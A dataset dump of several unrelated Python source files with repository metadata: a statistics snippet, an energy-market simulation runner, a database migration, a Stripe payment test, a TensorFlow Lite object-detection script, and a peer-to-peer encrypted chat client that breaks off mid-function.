dfd=d2)\nprob=sp.stats.f.cdf(critical, dfn=d1, dfd=d2)\nprint(\"alpha, d1, d2, critical value, prob\")\nprint(alpha, d1, d2, critical, prob)\n\n\n\n\n", "repo_name": "PacktPublishing/Hands-On-Data-Science-with-Anaconda", "sub_path": "Chapter05/c5_25_get_critical_value_F_test.py", "file_name": "c5_25_get_critical_value_F_test.py", "file_ext": "py", "file_size_in_byte": 495, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 23, "dataset": "github-code", "pt": "71", "api": [{"api_name": "scipy.stats.f.ppf", "line_number": 16, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 16, "usage_type": "attribute"}, {"api_name": "scipy.stats.f.cdf", "line_number": 17, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 17, "usage_type": "attribute"}]} {"seq_id": "7064108769", "text": "import ext # import dependencies first\nimport logging\nfrom powermatcher import Auctioneer\nfrom agents import PVAgent, BatteryAgent, LoadAgent, ImbalanceAgent\nimport settings\n\n# Initialize logging, see also https://docs.python.org/3/howto/logging-cookbook.html\nlogger = logging.getLogger(settings.app_name)\n\n# Create console handler\nch = logging.StreamHandler()\nch.setLevel(logging.DEBUG) # Log all messages to console\nformatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')\nlogger.addHandler(ch)\n\n\nif __name__ == '__main__':\n auctioneer = Auctioneer(id='Sim')\n load_agent = LoadAgent(auctioneer, id='SimLoadAgent')\n pv_agent = PVAgent(auctioneer, id='SimPVAgent')\n imbalance_agent = ImbalanceAgent(auctioneer, id=\"SimImbalanceAgent\")\n battery_agent = BatteryAgent(auctioneer, id='SimBatteryAgent',\n capacity=50)\n\n ext.environment.register_auctioneer(auctioneer)\n ext.environment.start() # Blocks until finished", "repo_name": "laurens-jan/pythonmatcher", "sub_path": "pythonmatcher/run.py", "file_name": "run.py", "file_ext": "py", "file_size_in_byte": 993, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "logging.getLogger", "line_number": 8, "usage_type": "call"}, {"api_name": "settings.app_name", "line_number": 8, "usage_type": "attribute"}, {"api_name": "logging.StreamHandler", "line_number": 11, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 12, "usage_type": "attribute"}, {"api_name": "logging.Formatter", "line_number": 13, "usage_type": "call"}, {"api_name": "powermatcher.Auctioneer", "line_number": 18, "usage_type": "call"}, {"api_name": "agents.LoadAgent", "line_number": 19, "usage_type": "call"}, {"api_name": "agents.PVAgent", "line_number": 20, "usage_type": "call"}, {"api_name": "agents.ImbalanceAgent", "line_number": 21, "usage_type": "call"}, {"api_name": "agents.BatteryAgent", "line_number": 22, "usage_type": "call"}, {"api_name": "ext.environment.register_auctioneer", "line_number": 25, "usage_type": "call"}, {"api_name": "ext.environment", "line_number": 25, "usage_type": "attribute"}, {"api_name": "ext.environment.start", "line_number": 26, "usage_type": "call"}, {"api_name": "ext.environment", "line_number": 26, "usage_type": "attribute"}]} {"seq_id": "38871400271", "text": "\"\"\"empty message\n\nRevision ID: ba06bbe34655\nRevises: 58ef29a3b40f\nCreate Date: 2021-04-15 13:19:32.518429\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'ba06bbe34655'\ndown_revision = '58ef29a3b40f'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('Assignment', sa.Column('courseId', sa.Integer(), nullable=False))\n op.add_column('Assignment', sa.Column('description', sa.String(length=1000), nullable=True))\n op.create_foreign_key(None, 'Assignment', 'Course', ['courseId'], ['id'])\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_constraint(None, 'Assignment', type_='foreignkey')\n op.drop_column('Assignment', 'description')\n op.drop_column('Assignment', 'courseId')\n # ### end Alembic commands ###\n", "repo_name": "connormahern/Caled", "sub_path": "migrations/versions/ba06bbe34655_.py", "file_name": "ba06bbe34655_.py", "file_ext": "py", "file_size_in_byte": 951, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "alembic.op.add_column", "line_number": 21, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 21, "usage_type": "name"}, {"api_name": "sqlalchemy.Column", "line_number": 21, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 21, "usage_type": "call"}, {"api_name": "alembic.op.add_column", "line_number": 22, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 22, "usage_type": "name"}, {"api_name": "sqlalchemy.Column", "line_number": 22, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 22, "usage_type": "call"}, {"api_name": "alembic.op.create_foreign_key", "line_number": 23, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 23, "usage_type": "name"}, {"api_name": "alembic.op.drop_constraint", "line_number": 29, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 29, "usage_type": "name"}, {"api_name": "alembic.op.drop_column", "line_number": 30, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 30, "usage_type": "name"}, {"api_name": "alembic.op.drop_column", "line_number": 31, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 31, "usage_type": "name"}]} {"seq_id": "15363444541", "text": "import pytest\nimport os.path\nimport json\nimport stripe\nfrom flask_login import login_user\n\nfrom models.basket import Basket\nfrom models.product import PriceTier\nfrom models.payment import StripePayment, RefundRequest\n\nfrom apps.payments.stripe import (\n stripe_start,\n stripe_capture,\n stripe_capture_post,\n stripe_payment_intent_updated,\n stripe_charge_refunded,\n)\nfrom apps.payments.refund import handle_refund_request\n\nfrom main import db\n\n\ndef load_webhook_fixture(name):\n fixture_path = os.path.join(\n os.path.dirname(os.path.abspath(__file__)), \"webhook_fixtures\", f\"{name}.json\"\n )\n with open(fixture_path, \"r\") as f:\n return stripe.Event.construct_from(json.load(f), None)\n\n\n# This test uses VCR to automatically store Stripe responses as test fixtures.\n# It also uses some webhook fixtures which we manually supply.\n#\n# Note that if you want to update the VCR fixtures, you'll need to temporarily add\n# test Stripe credentials to test.cfg. Note that the IDs in the responses will need\n# doctoring.\n@pytest.mark.vcr()\ndef test_create_stripe_purchase(user, app, monkeypatch):\n # Add some tickets to a basket (/tickets/choose)\n basket = Basket(user, \"GBP\")\n tier = PriceTier.query.filter_by(name=\"full-std\").one_or_none()\n basket[tier] = 2\n\n basket.create_purchases()\n basket.ensure_purchase_capacity()\n db.session.commit()\n\n # This matches the intent ID in stored fixtures\n intent_id = \"pi_1GUslpIcI91cWsdeheAuRsyg\"\n\n with app.test_request_context(\"/tickets/pay\"):\n login_user(user)\n payment = basket.create_payment(StripePayment)\n stripe_start(payment)\n\n assert payment.state == \"new\"\n\n with app.test_request_context(f\"/pay/stripe/{payment.id}/capture\"):\n login_user(user)\n # Start capture process - this creates a payment intent from fake-stripe\n stripe_capture(payment.id)\n\n # A payment_intent.created webhook should be generated here, but it\n # doesn't cause any action on our end so we don't simulate this.\n assert payment.intent_id == intent_id\n assert payment.state == \"new\"\n\n # User is now on the Stripe form, which captures the card details.\n # Once this is complete, payment details are sent to Stripe and the form\n # submission triggers stripe_capture_post\n stripe_capture_post(payment.id)\n\n assert payment.state == \"charging\"\n\n with app.test_request_context(\"/stripe-webhook\"):\n # Stripe will now send a webhook to notify us of the payment success.\n stripe_payment_intent_updated(\n \"payment_intent.succeeded\", load_webhook_fixture(\"payment_intent.succeeded\")\n )\n # A charge.succeeded webhook is also sent but we ignore it.\n\n assert payment.state == \"paid\"\n assert all(\n purchase.state == \"paid\" for purchase in payment.purchases\n ), \"Purchases should be marked as paid after payment\"\n\n # Payment is all paid. Now we test refunding it.\n # Create a refund request for the entire payment, with £20 donation.\n refund_request = RefundRequest(\n payment=payment, donation=20, currency=payment.currency\n )\n payment.state = \"refund-requested\"\n db.session.add(refund_request)\n db.session.commit()\n\n handle_refund_request(refund_request)\n\n with app.test_request_context(\"/stripe-webhook\"):\n # charge.refunded webhook. We do process this but currently we don't use it for anything.\n stripe_charge_refunded(\n \"charge.refunded\", load_webhook_fixture(\"charge.refunded\")\n )\n\n # Payment should be marked as fully refunded.\n assert payment.state == \"refunded\"\n assert all(\n purchase.state == \"refunded\" for purchase in payment.purchases\n ), \"Purchases should be marked as refunded after refund\"\n", "repo_name": "emfcamp/Website", "sub_path": "tests/test_purchase.py", "file_name": "test_purchase.py", "file_ext": "py", "file_size_in_byte": 3815, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 32, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.path.path.join", "line_number": 24, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 24, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 24, "usage_type": "name"}, {"api_name": "os.path.path.dirname", "line_number": 25, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 25, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 25, "usage_type": "name"}, {"api_name": "os.path.path.abspath", "line_number": 25, "usage_type": "call"}, {"api_name": "stripe.Event.construct_from", "line_number": 28, "usage_type": "call"}, {"api_name": "stripe.Event", "line_number": 28, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 28, "usage_type": "call"}, {"api_name": "models.basket.Basket", "line_number": 40, "usage_type": "call"}, {"api_name": "models.product.PriceTier.query.filter_by", "line_number": 41, "usage_type": "call"}, {"api_name": "models.product.PriceTier.query", "line_number": 41, "usage_type": "attribute"}, {"api_name": "models.product.PriceTier", "line_number": 41, "usage_type": "name"}, {"api_name": "main.db.session.commit", "line_number": 46, "usage_type": "call"}, {"api_name": "main.db.session", "line_number": 46, "usage_type": "attribute"}, {"api_name": "main.db", "line_number": 46, "usage_type": "name"}, {"api_name": "flask_login.login_user", "line_number": 52, "usage_type": "call"}, {"api_name": "models.payment.StripePayment", "line_number": 53, "usage_type": "argument"}, {"api_name": "apps.payments.stripe.stripe_start", "line_number": 54, "usage_type": "call"}, {"api_name": "flask_login.login_user", "line_number": 59, "usage_type": "call"}, {"api_name": "apps.payments.stripe.stripe_capture", "line_number": 61, "usage_type": "call"}, {"api_name": "apps.payments.stripe.stripe_capture_post", "line_number": 71, "usage_type": "call"}, {"api_name": "apps.payments.stripe.stripe_payment_intent_updated", "line_number": 77, "usage_type": "call"}, {"api_name": "models.payment.RefundRequest", "line_number": 89, "usage_type": "call"}, {"api_name": "main.db.session.add", "line_number": 93, "usage_type": "call"}, {"api_name": "main.db.session", "line_number": 93, "usage_type": "attribute"}, {"api_name": "main.db", "line_number": 93, "usage_type": "name"}, {"api_name": "main.db.session.commit", "line_number": 94, "usage_type": "call"}, {"api_name": "main.db.session", "line_number": 94, "usage_type": "attribute"}, {"api_name": "main.db", "line_number": 94, "usage_type": "name"}, {"api_name": "apps.payments.refund.handle_refund_request", "line_number": 96, "usage_type": "call"}, {"api_name": "apps.payments.stripe.stripe_charge_refunded", "line_number": 100, "usage_type": "call"}, {"api_name": "pytest.mark.vcr", "line_number": 37, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 37, "usage_type": "attribute"}]} {"seq_id": "35277267055", "text": "from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport argparse\nimport math\nimport time\nfrom heapq import heappush, nlargest\n\nimport numpy as np\nfrom PIL import Image\nimport matplotlib.pyplot as plt\nimport matplotlib.patches as patches\n\nfrom tensorflow.contrib.lite.python import interpreter as interpreter_wrapper\nimport cv2\n\n\nNUM_CLASSES = 91\n\nX_SCALE = 10.0\nY_SCALE = 10.0\nH_SCALE = 5.0\nW_SCALE = 5.0\n\ndef load_labels(filename):\n my_labels = []\n input_file = open(filename, 'r')\n for l in input_file:\n my_labels.append(l.strip())\n return my_labels\n\ndef iou(box_a, box_b):\n x_a = max(box_a[0], box_b[0])\n y_a = max(box_a[1], box_b[1])\n x_b = min(box_a[2], box_b[2])\n y_b = min(box_a[3], box_b[3])\n\n intersection_area = (x_b - x_a + 1) * (y_b - y_a + 1)\n\n box_a_area = (box_a[2] - box_a[0] + 1) * (box_a[3] - box_a[1] + 1)\n box_b_area = (box_b[2] - box_b[0] + 1) * (box_b[3] - box_b[1] + 1)\n\n iou = intersection_area / float(box_a_area + box_b_area - intersection_area)\n return iou\n\ndef nms(p, iou_threshold, max_boxes):\n sorted_p = sorted(p, reverse=True)\n selected_predictions = []\n for a in sorted_p:\n if len(selected_predictions) > max_boxes:\n break\n should_select = True\n for b in selected_predictions:\n if iou(a[3], b[3]) > iou_threshold:\n should_select = False\n break\n if should_select:\n selected_predictions.append(a)\n\n return selected_predictions\n\nif __name__ == \"__main__\":\n file_name = \"/home/irina/Desktop/car2.jpg\"\n model_file = \"/home/irina/Desktop/ssd_models_test/ssd_mobilenet_v1_coco_2018_01_28/frozen_inference_ssdv1_quan2.tflite\"\n label_file = \"/home/irina/Desktop/ssd_models_test/coco_labels_list.txt\"\n box_prior_file = \"/home/irina/Desktop/ssd_models_test/box_priors.txt\"\n input_mean = 128\n input_std = 128\n min_score = 0.5\n max_boxes = 20\n floating_model = False\n show_image = True\n alt_output_order = False\n\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--image\", help=\"image to be classified\")\n parser.add_argument(\"--graph\", help=\".tflite model to be executed\")\n parser.add_argument(\"--labels\", help=\"name of file containing labels\")\n parser.add_argument(\"--input_mean\", help=\"input_mean\")\n parser.add_argument(\"--input_std\", help=\"input standard deviation\")\n parser.add_argument(\"--min_score\", help=\"show only > min_score\")\n parser.add_argument(\"--max_boxes\", help=\"max boxes to show\")\n parser.add_argument(\"--show_image\", help=\"show image\")\n parser.add_argument(\"--alt_output_order\", help=\"alternative output index\")\n args = parser.parse_args()\n\n if args.graph:\n model_file = args.graph\n if args.image:\n file_name = args.image\n if args.labels:\n label_file = args.labels\n if args.input_mean:\n input_mean = float(args.input_mean)\n if args.input_std:\n input_std = float(args.input_std)\n if args.min_score:\n min_score = float(args.min_score)\n if args.max_boxes:\n max_boxes = int(args.max_boxes)\n if args.show_image:\n show_image = args.show_image\n if args.alt_output_order:\n alt_output_order = args.alt_output_order\n\n interpreter = interpreter_wrapper.Interpreter(model_path=model_file)\n interpreter.allocate_tensors()\n\n input_details = interpreter.get_input_details()\n output_details = interpreter.get_output_details()\n #print(input_details)\n #print(output_details)\n\n # check the type of the input tensor\n if input_details[0]['dtype'] == type(np.float32(1.0)):\n floating_model = True\n\n print(\"Floating model: \", floating_model)\n\n # NxHxWxC, H:1, W:2\n height = input_details[0]['shape'][1]\n width = input_details[0]['shape'][2]\n\n img = cv2.imread(file_name)\n img = cv2.resize(img,(width, height))\n\n print(\"Input shape: \", width, height)\n\n # add N dim\n input_data = np.expand_dims(img, axis=0)\n\n if floating_model:\n input_data = (np.float32(input_data) - input_mean) / input_std\n\n interpreter.set_tensor(input_details[0]['index'], input_data)\n\n start_time = time.time()\n interpreter.invoke()\n finish_time = time.time()\n print(\"time spent:\", (finish_time - start_time))\n\n #box_priors = []\n #load_box_priors(box_prior_file)\n labels = load_labels(label_file)\n\n p_index = 0\n o_index = 1\n s_index = 2\n nd_index = 3\n if alt_output_order:\n nd_index = 0\n s_index = 1\n o_index = 2\n p_index = 3 \n\n print(interpreter.get_tensor(output_details[p_index]['index']))\n predictions = np.squeeze( \\\n interpreter.get_tensor(output_details[p_index]['index']))\n output_classes = np.squeeze( \\\n interpreter.get_tensor(output_details[o_index]['index']))\n output_scores = np.squeeze( \\\n interpreter.get_tensor(output_details[s_index]['index']))\n numDetections = np.squeeze( \\\n interpreter.get_tensor(output_details[nd_index]['index']))\n \n print(\"Predictions: \", predictions)\n print(\"Classes: \", output_classes)\n print(\"Scores: \", output_scores)\n print(\"NumDetections: \", numDetections)\n\n labelOffset = 1\n '''\n if not floating_model:\n p_scale, p_mean = output_details[p_index]['quantization']\n o_scale, o_mean = output_details[o_index]['quantization']\n s_scale, s_mean = output_details[s_index]['quantization']\n nd_scale, nd_mean = output_details[nd_index]['quantization']\n\n print(\"Predictions: \", p_scale, p_mean)\n print(\"Classes: \", o_scale, o_mean)\n print(\"Scores: \", s_scale, s_mean)\n print(\"NumDetections: \", numDetections)\n\n predictions = (predictions - p_mean * 1.0) * p_scale\n output_classes = (output_classes - o_mean * 1.0) * o_scale\n output_scores = (output_scores - s_mean * 1.0) * s_scale\n numDetections = (numDetections - nd_mean * 1.0) * nd_scale\n \n \n\n print(\"Predictions: \", predictions)\n print(\"Classes: \", output_classes)\n print(\"Scores: \", output_scores)\n print(\"NumDetections: \", numDetections)\n '''\n\n pruned_predictions = []\n \n for r in range(int(numDetections)):\n score = output_scores[r]\n if(score <= min_score):\n continue\n rect = (predictions[r][1] * width, predictions[r][0] * width, \\\n predictions[r][3] * width, predictions[r][2] * width)\n clas = int(output_classes[r] + labelOffset)\n pruned_predictions.append((score, r, labels[clas], rect))\n\n\n final_predictions = sorted(pruned_predictions, reverse=True)\n if(len(final_predictions) > max_boxes):\n final_predictions = final_predictions[:max_boxes]\n for e in final_predictions:\n score = e[0]\n score_string = '{0:.2f}'.format(score)\n print(score_string, e[2], e[3])\n \n left, top, right, bottom = e[3]\n left = int(left)\n top = int(top)\n right = int(right)\n bottom = int(bottom)\n\n if show_image:\n label = e[2] + \":\" + score_string\n fontface = cv2.FONT_HERSHEY_SIMPLEX;\n scale = 0.6\n thickness = 1\n\n text_size, _ = cv2.getTextSize(label, fontface, scale, thickness)\n print(text_size)\n\n cv2.rectangle(img, (left, top),(right, bottom),(255,0,0),2)\n #cv2.rectangle(img, (left,top), (text_size[0], -text_size[1]), (255,255,255), cv2.FILLED)\n cv2.putText(img,label,(left,top),fontface,scale,(255,0,255),thickness)\n\n if show_image:\n cv2.imshow(\"image\", img)\n cv2.waitKey(0)\n", "repo_name": "sweetdream779/tensorflow_lite", "sub_path": "scripts/object_detection_new.py", "file_name": "object_detection_new.py", "file_ext": "py", "file_size_in_byte": 7253, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 76, "usage_type": "call"}, {"api_name": "tensorflow.contrib.lite.python.interpreter.Interpreter", "line_number": 107, "usage_type": "call"}, {"api_name": "tensorflow.contrib.lite.python.interpreter", "line_number": 107, "usage_type": "name"}, {"api_name": "numpy.float32", "line_number": 116, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 125, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 126, "usage_type": "call"}, {"api_name": "numpy.expand_dims", "line_number": 131, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 134, "usage_type": "call"}, {"api_name": "time.time", "line_number": 138, "usage_type": "call"}, {"api_name": "time.time", "line_number": 140, "usage_type": "call"}, {"api_name": "numpy.squeeze", "line_number": 158, "usage_type": "call"}, {"api_name": "numpy.squeeze", "line_number": 160, "usage_type": "call"}, {"api_name": "numpy.squeeze", "line_number": 162, "usage_type": "call"}, {"api_name": "numpy.squeeze", "line_number": 164, "usage_type": "call"}, {"api_name": "cv2.FONT_HERSHEY_SIMPLEX", "line_number": 226, "usage_type": "attribute"}, {"api_name": "cv2.getTextSize", "line_number": 230, "usage_type": "call"}, {"api_name": "cv2.rectangle", "line_number": 233, "usage_type": "call"}, {"api_name": "cv2.putText", "line_number": 235, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 238, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 239, "usage_type": "call"}]} {"seq_id": "15958249269", "text": "import socket \nimport sys\nfrom getpass import getpass\nfrom contextlib import closing\nimport threading \nfrom Crypto.Cipher import DES3\nfrom Crypto.Random import get_random_bytes\nfrom random import randint\nimport hashlib\n\nMSG_SIZE = 8192\nNUMBER_OF_SERVERS = 3\nP = 2409254109293510934796826672457339113288246933600376490751081491620048007627\nG = 57497496415798496487974961489794797496526549798416415749\n# a = randint(256479958749921167964964789456314,2147483678798454189795262645941965798796526548747)\nGROUP_KEY={}\nSIGN_IN = False\n\ndef error(msg):\n print(msg)\n exit(0)\n\ndef find_free_port():\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.bind(('', 0))\n s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n return [s,s.getsockname()[1]] \n \n\ndef connect_to_peer(ip,port,mesg,isfile):\n soc_id = socket.socket()\n if (soc_id.connect_ex((ip, port)))==0:\n if isfile:\n send_msg(soc_id, \"file\")\n else:\n send_msg(soc_id,\"msg\")\n key = deffe_Hellman(soc_id,ROLL_NO)\n encrypt_and_send(soc_id,mesg,key)\n soc_id.close()\n \n\ndef connect_to_server(server_no):\n for i in range(NUMBER_OF_SERVERS):\n cli_sd = socket.socket()\n file1=sys.argv[1]+str(server_no)+\".txt\"\n try:\n f = open(file1, 'r')\n lines = f.readlines() \n if len(lines)>1:\n server_ip =lines[0].strip()\n server_port =int(lines[1].strip())\n else:\n error(\"Provide IP addr and Port number in the file\") \n except FileNotFoundError:\n error(\"file not found\")\n\n # try to connect to the server\n if (cli_sd.connect_ex((server_ip, server_port)))==0:\n print(\"Connected to server\"+str(server_no))\n return cli_sd\n else:\n server_no=(server_no+1)%3\n \n error(\"Connection failed: Server is not available\") \n\n#consistant hashing to know which server we must connect to#\n#generate a random no. between 1 to 2\ndef random1():\n return randint(0,1)\ndef get_server_number():\n #return 2\n x = -1\n y = random1()\n while(x==-1):\n x = random1()\n x = 2*x-(y&1)\n # print(\"random num:\",x)\n return x\n\n\n#calculate key\ndef deffe_Hellman_server(s, roll_number):\n a = randint(256479958749921167964964789456314,2147483678798454189795262645941965798796526548747)\n a = (str(a)[0:24] + roll_number)\n a = (hashlib.sha256(a.encode()))\n a = int(a.hexdigest(),16)\n x = int(pow(G, a, P))\n send_data = padding_msg(str(x))\n received_data=s.recv(MSG_SIZE).decode('utf-8')\n s.sendall(str.encode(send_data))\n ga = int(received_data)\n key = int(pow(ga, a, P))\n return str(key)[0:24]\n\ndef recieve_file(sock_id,roll_number,cipher):\n mesg = decryption(sock_id.recv(MSG_SIZE),cipher,True)\n filename,username= mesg.split(\":\")\n if filename == \"no file\":\n return\n filename = roll_number + filename\n sock_id.sendall(encryption(\"dummy\",cipher,True))\n with open(filename, 'wb') as f:\n # print('file opened')\n while True:\n # print('receiving data...')\n data = sock_id.recv(MSG_SIZE)\n sock_id.sendall(\"dummy\".encode())\n data = decryption(data, cipher,False)\n msg = str(data).split(\"'\")\n if \"done\" in msg[1].strip():\n f.close()\n print('Received file from '+ username+\": \"+ filename+\"\\n> \",end=\"\")\n return\n \n f.write(data)\n## Client is listening to connections of other peers##\ndef server_func(args):\n server_sd,server_port=args\n server_sd.listen(5)\n while True:\n cli_sd, addr = server_sd.accept() \n msg=cli_sd.recv(MSG_SIZE).decode('utf-8')\n cli_sd.send(\"dummy\".encode())\n key=\"NONE\"\n if(\"msg\" in msg):\n if(msg==\"msg\"):\n key=deffe_Hellman_server(cli_sd,ROLL_NO)\n else:\n group= msg.split(':')[1]\n key=GROUP_KEY[group] \n msg=cli_sd.recv(MSG_SIZE)\n cipher = DES3.new(key, DES3.MODE_ECB)\n msg=decryption(msg, cipher,True).split(':')\n print(\"Message from\",msg[1],\":\",msg[0],\"\\n> \",end=\"\")\n else:\n if(msg==\"file\"):\n key=deffe_Hellman_server(cli_sd,ROLL_NO)\n else:\n group= msg.split(':')[1]\n key=GROUP_KEY[group]\n cipher = DES3.new(key, DES3.MODE_ECB)\n recieve_file(cli_sd,ROLL_NO,cipher)\n \n cli_sd.close()\n \ndef break_message(msg):\n lst=msg.split()\n msg=(' ').join(lst[2:])\n return [lst[1],msg]\n \n\ndef encrypt_and_send(soc_id,mesg,key):\n cipher = DES3.new(key, DES3.MODE_ECB)\n mesg = encryption(mesg,cipher,True)\n soc_id.sendall(mesg)\n \nclass thread(threading.Thread): \n def __init__(self, thread_name, thread_ID): \n threading.Thread.__init__(self) \n self.thread_name = thread_name \n self.thread_ID = thread_ID \n \n # helper function to execute the threads \n def run(self): \n if(str(self.thread_name)==\"server\"):\n server_func(self.thread_ID)\n elif(str(self.thread_name)==\"group\"):\n #user;mesg;group;flag\n lst=str(self.thread_ID).split(';')\n group_thread(lst[1],lst[0],lst[2],lst[3])\ndef send_msg(cli_sd,msg):\n cli_sd.send(msg.encode()) \n msg = cli_sd.recv(MSG_SIZE).decode('utf-8')\n return msg\n\ndef deffe_Hellman(s, roll_number):\n # roll_number should be of 10\n a = randint(256479958749921167964964789456314,2147483678798454189795262645941965798796526548747)\n a = (str(a)[0:24] + str(roll_number))\n a = (hashlib.sha256(a.encode()))\n a = int(a.hexdigest(),16)\n x = int(pow(G, a, P))\n send_data = padding_msg(str(x)) \n s.sendall(str.encode(send_data))\n msg = s.recv(MSG_SIZE)\n received_data = msg.decode('utf-8')\n ga = int(received_data)\n key = int(pow(ga, a, P))\n return str(key)[0:24]\n\ndef padding_file(msg):\n xs = bytearray(msg)\n while len(xs) % 8 != 0:\n xs.append(0)\n return bytes(xs)\n\ndef padding_msg(msg):\n while len(msg) % 8 != 0:\n msg += \" \"\n return msg\n\ndef encryption(msg,cipher,is_msg):\n if is_msg:\n msg = padding_msg(msg)\n else:\n msg = padding_file(msg)\n return cipher.encrypt(msg)\n\ndef decryption(msg, cipher,isString):\n decrypted = cipher.decrypt(msg)\n if isString:\n return str(decrypted).split(\"'\")[1].strip()\n return decrypted\n\ndef group_thread(mesg,user,group,isfile):\n ip,port=user.split(':')\n port = int(port)\n soc_id = socket.socket()\n key = GROUP_KEY[group]\n if (soc_id.connect_ex((ip, port)))==0:\n if eval(isfile):\n send_msg(soc_id,\"file_group:\"+group)\n cipher = DES3.new(key, DES3.MODE_ECB)\n send_file(mesg,soc_id,cipher)\n else:\n send_msg(soc_id,\"msg_group:\"+group)\n encrypt_and_send(soc_id,mesg,key)\n # encrypt_and_send(soc_id,mesg)\n soc_id.close()\n\ndef send_to_group(mesg,users,group,isfile):\n key=GROUP_KEY[group]\n for user in users:\n # info=user+\";\"+mesg+\";\"+group+\";\"+isfile\n ip,port=user.split(':')\n port = int(port)\n soc_id = socket.socket()\n if (soc_id.connect_ex((ip, port)))==0:\n if isfile:\n send_msg(soc_id,\"file_group:\"+group)\n cipher = DES3.new(key, DES3.MODE_ECB)\n send_file(mesg,soc_id,cipher)\n else:\n send_msg(soc_id,\"msg_group:\"+group)\n encrypt_and_send(soc_id,mesg,key)\n # encrypt_and_send(soc_id,mesg)\n soc_id.close()\n\ndef send_file(mesg, sock_id,cipher):\n filename,username=mesg.split(\":\")\n try:\n f = open(filename, 'rb')\n except FileNotFoundError:\n sock_id.send(encryption(\"no file:username\", cipher, True))\n print(\"file doesn't exist :(\")\n return\n sock_id.send(encryption(mesg, cipher, True))\n d = sock_id.recv(1024) \n l = f.read(MSG_SIZE)\n while (l):\n sock_id.send(encryption(l, cipher, False))\n sock_id.recv(MSG_SIZE)\n l = f.read(MSG_SIZE)\n if not l:\n break\n sock_id.send(encryption(\"done\", cipher, True))\n sock_id.recv(MSG_SIZE)\n f.close()\n\nif len(sys.argv)<2:\n error(\"Wrong number of arguments\")\n \nserver_no = get_server_number()\ncli_sd=connect_to_server(server_no) \ncli_ip=\"127.0.0.1\"\n#Get a free port number and socket id of that port\nlst1= find_free_port()\nthread1=thread(\"server\",lst1)\ncli_port=lst1[1]\nthread1.daemon=True\nthread1.start()\nprint(\"Please Sign UP/Sign In\")\nwhile True:\n msg=input(\"> \").strip()\n \n ## Sign Up##\n if msg.lower()==\"sign up\" or msg.lower()==\"signup\":\n if SIGN_IN:\n print(\"already signed in!\")\n continue\n\n msg=send_msg(cli_sd,\"sign up\")\n lst=[]\n lst.append(input(\"Enter Name: \").strip())\n lst.append(input(\"Enter Roll No: \").strip())\n lst.append(input(\"Enter Username: \").strip())\n lst.append(getpass(\"Password: \").strip())\n password=input(\"Confirm Password: \").strip()\n while password != lst[3]:\n print(\"Password doen't match\")\n lst[3]=getpass(\"Password: \").strip()\n password=input(\"Confirm Password: \").strip()\n lst.append(cli_ip)\n lst.append(cli_port)\n # initialize(lst[2],lst[3],lst[1]) \n USERNAME=lst[2]\n PASSWORD=lst[3]\n ROLL_NO=lst[1]\n msg = (':'.join(map(str, lst))) \n reply=send_msg(cli_sd,msg)\n if reply==\"exist\":\n print(\"username is not available. Try someother username\")\n else:\n SIGN_IN=True\n print(\"Sign UP successfull.\")\n \n elif msg.lower()==\"sign in\" or msg.lower()==\"signin\":\n if SIGN_IN:\n print(\"already signed in!\")\n continue\n\n send_msg(cli_sd,\"sign in\")\n lst=[]\n lst.append(input(\"Enter Username: \").strip())\n lst.append(getpass(\"Password: \").strip())\n lst.append(cli_ip)\n lst.append(str(cli_port))\n msg = ':'.join(lst)\n msg=send_msg(cli_sd,msg)\n \n if (\"success\" in msg):\n SIGN_IN=True\n lst1=msg.split(\":\")\n USERNAME=lst[0]\n PASSWORD=lst[1]\n ROLL_NO=lst1[1]\n userGroups = lst1[2:]\n # print('you were in groups')\n for userGroup in userGroups:\n groupname, groupkey = userGroup.split(',')\n GROUP_KEY[groupname] = groupkey\n # print('gname',groupname,'gkey',groupkey)\n print(\"Successfully loggen in\")\n elif msg==\"sign_in\":\n print(\"User with that credentials is already logged in\")\n continue\n else:\n print(\"Incorrect username or password. Try again\")\n print(\"Sign In/ Sign Up\")\n continue \n elif \"send\" in msg.lower():\n if not SIGN_IN:\n print(\"you are not signed in. New user=>signup otherwise signin\")\n continue\n \n if \"grp\" in msg.lower():\n send_msg(cli_sd,\"send group\")\n groups,mesg=break_message(msg)\n cli_sd.send((USERNAME+':'+groups).encode())\n 